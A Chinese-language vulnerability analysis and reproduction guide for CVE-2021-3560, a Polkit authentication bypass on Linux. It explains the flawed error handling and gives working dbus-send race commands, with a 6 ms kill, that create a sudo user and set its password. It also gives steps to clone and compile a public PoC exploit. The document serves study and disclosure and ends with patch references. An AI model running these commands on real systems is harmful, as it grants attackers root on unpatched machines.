Polkit是Linux上的一个系统服务,其用于实现权限管理,通过给非特权进程授权,允许具有特权的进程(或者库文件lib)给非特权进程提供服务,由于Polkit被systemd使用,所有使用systemd的Linux发行版都会装有Polkit。
2021年06月03日,RedHat发布安全公告,修复了Linux Polkit中一个存在了7年的权限提升漏洞(CVE-2021-3560),该漏洞的CVSS评分为7.8,成功利用此漏洞的攻击者能够获得系统上的 root 权限。
Polkit授权是通过服务进程polkitd来完成的,当非特权进程需要访问特权进程服务时,特权进程会通过 system message dbus 向 polkitd 请求权限认证。
Polkit 则会根据特权进程提供的信息和权限配置文件进行认证,认证完成后将认证结果返回给特权进程,特权进程会根据认证结果来决定是否给非特权进程提供服务。
而CVE-2021-3560漏洞时polkit服务上的身份验证绕过漏洞,允许非特权用户使用dbus调用特权方法,也就可以调用有账户服务提供的2个特权方法(CreatUser和SetPasswd),所以攻击者就可以调用这两个方法来创建一个超级用户。
RHEL 8
Fedora 21 (or later)
Debian testing ("bullseye")
Ubuntu 20.04
函数polkit_system_bus_name_get_creds_sync用于获取请求操作的进程的uid和pid,该函数通过发送请求进程的唯一总线名称到 dbus-daemon 。这些唯一的名字有dbus-daemon来分配和管理,且该名称不能被伪造,所以这是一个很好的检查进程权限的方法。
而漏洞就产生于请求进程在调用 polkit_system_bus_name_get_creds_sync 之前就与 dbus-daemon 断开连接,导致该进程无法获得进程唯一的uid和pid,也就无法验证请求进程的权限。
1.下载Ubuntu20.04镜像;
http://releases.ubuntu.com/20.04/ubuntu-20.04.2.0-desktop-amd64.iso
2.在虚拟机上进行安装(可以选择Vmware Workstation),具体安装Ubuntu虚拟机步骤可以自行上网搜索;
3.安装完Ubuntu系统后自行安装必要软件;
sudo apt update
sudo apt install vim
sudo apt install gcc
在后续编译过程中可能会遇到如下编译问题
需要先安装libdbus,执行如下指令
sudo apt install libdbus-glib-1-dev
Polkit的应用之一就是pkexec,pkexec与sudo类似,允许以root用户身份运行命令。如果在图形会话中运行pkexec,它将弹出一个对话框。如下图所示:
首先来看一下dbus-send命令执行期间涉及到的几个进程之间的关系,如下图所示:
其中虚线上方的 dbus-send 和 Authentication Agent 是非特权进程,虚线下方的 dbus-daemon、accounts-daemon 和 polkit 是特权进程。
当通过dbus创建新用户时,流程大致如下:
当 dbus-send 向 account-daemon 发起创建新用户的请求时,该请求会先发送到 dbus-daemon
dbus-daemon 再附加一个类似“1.96”这样的 dbus id到消息中
然后将该请求消息发送给 account-daemon
account-daemon 收到请求后向 polkit 询问该 dbus id 为 1.96 的连接是否具有权限
polkit又向 dbus-daemon 询问该连接的 uid
如果 dbus-daemon 返回的 uid 为 0 ,polkit 就会立即对这个请求进行授权,否则 polkit 会向 Authentication agent 发送允许授权请求的管理员列表
Authentication agent 会打开一个验证窗口验证用户输入的密码,并将密码发给 polkit
polkit 返回 True 给 account-daemon
account-daemon 创建新用户
当 polkit 向 dbus-daemon 询问 dbus id 为 1.96 的连接的 UID 时,如果在 polkit 和 dbus-daemon 还在交互的时候此时该连接已断开,那就不存在这个连接,dbus-daemon就会返回错误。
而漏洞就存在于 polkit 处理从 dbus-daemon 返回的错误信息时,polkit 并没有拒绝该请求,反而将该连接视为 UID 为 0 的进程并授权。
漏洞代码如下:
/* every subject has a user; this is supplied by the client, so we rely
* on the caller to validate its acceptability. */
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
subject, NULL,
error);
if (user_of_subject == NULL)
goto out;
/* special case: uid 0, root, is _always_ authorized for anything */
if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)
{
result = polkit_authorization_result_new (TRUE, FALSE, NULL);
goto out;
}
以下是 polkit_authorization_result_new 函数原型:
PolkitAuthorizationResult *
polkit_authorization_result_new (gboolean is_authorized,
gboolean is_challenge,
PolkitDetails *details);
可以看到 polkit_backend_session_monitor_get_user_for_subject 函数虽然设置了 error 参数,但是在后面的代码中并未对 error 的情况进行校验处理,导致跳到了第二个if语句,且在 error 的时候能满足判断条件,执行 polkit_authorization_result_new (TRUE, FALSE, NULL) 授权成功。
以下是通过 dbus 指令来还原整个授权过程并给新创建的用户设置密码。
首先执行以下指令启动ssh服务,命令如下:
sudo service sshd start
通过ssh连接至本地,命令如下。
ssh [email protected]
此时在ssh连接的文本模式会话中执行pkexec就会启动文本模式验证。如下所示:
而dbus-send指令则可以从命令行触发polkit认证,dbus-send是发送D-Bus消息的工具,主要用于测试,比如模拟图形界面可能发送的创建新用户的指令,如果在文本模式会话中执行,则会立即失败,这是因为不同于pkexec,dbus-send不会启动自己的身份验证代理程序。如下图所示:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1
CVE-2021-3560漏洞是通过启动dbus-send命令并在polkit仍在处理请求的过程中杀死进程断开连接来触发的,所以要kill掉该进程我们首先需要测试一下执行dbus-send需要多长时间。执行以下指令:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1
执行后如下图所示:
可以看到,执行需要0.009秒,结果多次测试,平均需要11毫秒,最快是9毫秒,所以为了在成功执行dbus-send之前杀死该进程,我们需要在执行完这条指令后6毫秒执行kill指令。
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:zeeker string:"Zeeker Security" int32:1 & sleep 0.006s ; kill $!
执行后如下图所示:
几次执行可能都会失败,多执行几次,当一次执行成功后就可以看到zeeker用户已经成功创建,并且该用户在sudo组中,具有sudo权限。。
(如果执行了几十次上百次都不成功,请直接跳到下面的漏洞复现步骤用脚本进行尝试,如果无法复现,那么可能是测试的系统已经修复了这个漏洞)。
此时我们成功通过漏洞创建了一个用户,但是没有设置密码就无法登录,接下来我们尝试通过dbus来设置密码,但是dbus接口设置密码要通过散列值来设置,这里我们使用openssl来生成,执行以下指令(最后一个参数替换成你要设置的密码):
openssl passwd -5 zeekersec
这里的 -5 参数是指定 sha256 算法来生成散列值,如果是 -6 就是 sha512,-1 就是 md5
执行后如下图,拿到密码对应的散列值,如图所示。
$5$.lkCAL3dgdW0pp4L$bA.aAAHBpnlJdDhaSAorFNE4vVKtoU1nGsxFsBNqRb7
现在结合这个散列值来给我们创建的用户设置密码,执行以下指令:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1003 org.freedesktop.Accounts.User.SetPassword string:'$5$.lkCAL3dgdW0pp4L$bA.aAAHBpnlJdDhaSAorFNE4vVKtoU1nGsxFsBNqRb7' string:Whatever & sleep 0.006s ; kill $!
这里注意修改散列值和Userid,比如前面通过 id 指令查看用户id的时候就有显示用户id,这里自行修改指令中的 User1003 部分。
同样多执行几次,成功后就可以用之前设置的密码(这里是 zeekersec )来进行登录了。如下图所示:
至此成功提权,可以以超级用户权限执行任意指令。
1.下载POC
git clone https://github.com/hakivvi/CVE-2021-3560
2.使用以下指令编译 exploit.c
gcc -Wall exploit.c -o exploit $(pkg-config --libs --cflags dbus-1)
3.运行 exploit 程序。如下图所示:
可以看到已经成功创建了一个具有超级用户权限的无密码的pwned用户,可以直接以超级用户权限执行指令。如下图所示:
同时左边弹出了很多认证窗口,手动关闭即可
参考各厂商对该漏洞的修复建议
RHEL 8:
https://access.redhat.com/security/cve/CVE-2021-3560
Fedora 21及更高版本:
https://bugzilla.redhat.com/show_bug.cgi?id=1967424
Debian testing (“bullseye”):
https://security-tracker.debian.org/tracker/CVE-2021-3560
Ubuntu 20.04:
https://ubuntu.com/security/CVE-2021-3560